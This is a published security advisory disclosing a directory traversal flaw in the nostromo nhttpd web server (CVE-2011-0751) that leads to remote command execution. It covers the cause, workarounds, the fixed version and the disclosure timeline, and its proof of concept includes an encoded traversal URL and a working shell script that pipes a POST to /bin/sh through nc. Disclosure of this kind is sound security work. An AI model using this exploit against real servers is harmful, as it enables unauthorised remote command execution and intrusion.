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nostromo nhttpd directory traversal leading to arbitrary command execution

During a penetration test, RedTeam Pentesting discovered a directory traversal vulnerability leading to arbitrary command execution in the nostromo HTTP server.


Details
=======

Product: nostromo (nhttpd)
Affected Versions: <= 1.9.3
Fixed Versions: 1.9.4
Vulnerability Type: directory traversal
Security Risk: high
Vendor URL: http://www.nazgul.ch/dev_nostromo.html
Vendor Status: patch available
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2011-001
Advisory Status: published
CVE: CVE-2011-0751
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0751


Introduction
============

nhttpd is a simple, fast and secure HTTP server. It runs as a single process, handling connections with select(2). For CGIs and directory listing it does fork(2). nhttpd has the minimum of HTTP/1.1 and CGI/1.1 implemented.

(from the vendor's homepage)


More Details
============

When parsing HTTP requests, nostromo first checks for directory traversal attempts by searching for /../ in the request URI. However this check is performed before decoding escaped characters in the URI. Thus, directory traversal is possible by e.g. escaping the slashes in ../ as %2f.

Unless the chroot feature of nostromo is used, any file in the system that is readable with the runtime permissions of nostromo can be accessed.

A peculiarity of nostromo is the handling of CGI scripts. Citing the manual page, "CGIs are recognized by the file world executable flag". Therefore, any program or script, that is executable by the system user nostromo runs as, will be executed when one tries to access it through directory traversal. Any data received in the body of a HTTP POST request will be sent to standard input of executed CGI scripts. 

By using directory traversal to send a HTTP POST request to /bin/sh, and providing shell commands in the request body, arbitrary command execution is possible. Similarly, interpreters of programming languages that execute program code they receive via standard input, such as perl or python, can be used to execute arbitrary program code in those languages.


Proof of Concept
================

The access log of nostromo can be accessed using an URL like this:
http://www.example.org/..%2flogs/access_log

The following simple shell script implements the arbitrary command execution described above using /bin/sh:

------------------------------------------------------------------------
#!/bin/sh
######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  kontakt@redteam-pentesting.de     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

if [ $# -lt 3 ]; then
echo "Usage: $(basename $0) HOST PORT COMMAND..."
exit 2
fi


HOST="$1"
PORT="$2"
shift 2

( \
echo -n -e 'POST /..%2f..%2f..%2fbin/sh HTTP/1.0\r\n'; \
echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
| sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'
------------------------------------------------------------------------ 


Workaround
==========

When serving static files, the impact of this vulnerability can be reduced by using the chroot feature of nostromo. If CGI scripts are used, any interpreter required for these scripts might allow being abused as shown above.
The nostromo configuration and log files remain accessible even when using the chroot feature.


Fix
===

Upgrade to version 1.9.4.


Security Risk
=============

As an attacker is potentially able to execute arbitrary commands remotely, the risk is estimated as high.


History
=======

2011-01-12 Problem identified during a penetration test
2011-01-20 Customer approves contacting vendor
2011-01-26 CVE number requested
2011-01-31 Vendor notified
2011-02-02 CVE number assigned
2011-02-05 Vendor confirmed the vulnerability and sent first patch for
review
2011-02-10 Vendor sent final patch for review
2011-03-03 Vendor releases fix
2011-03-15 Advisory released
2011-03-20 Vendor releases fixed version


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at http://www.redteam-pentesting.de.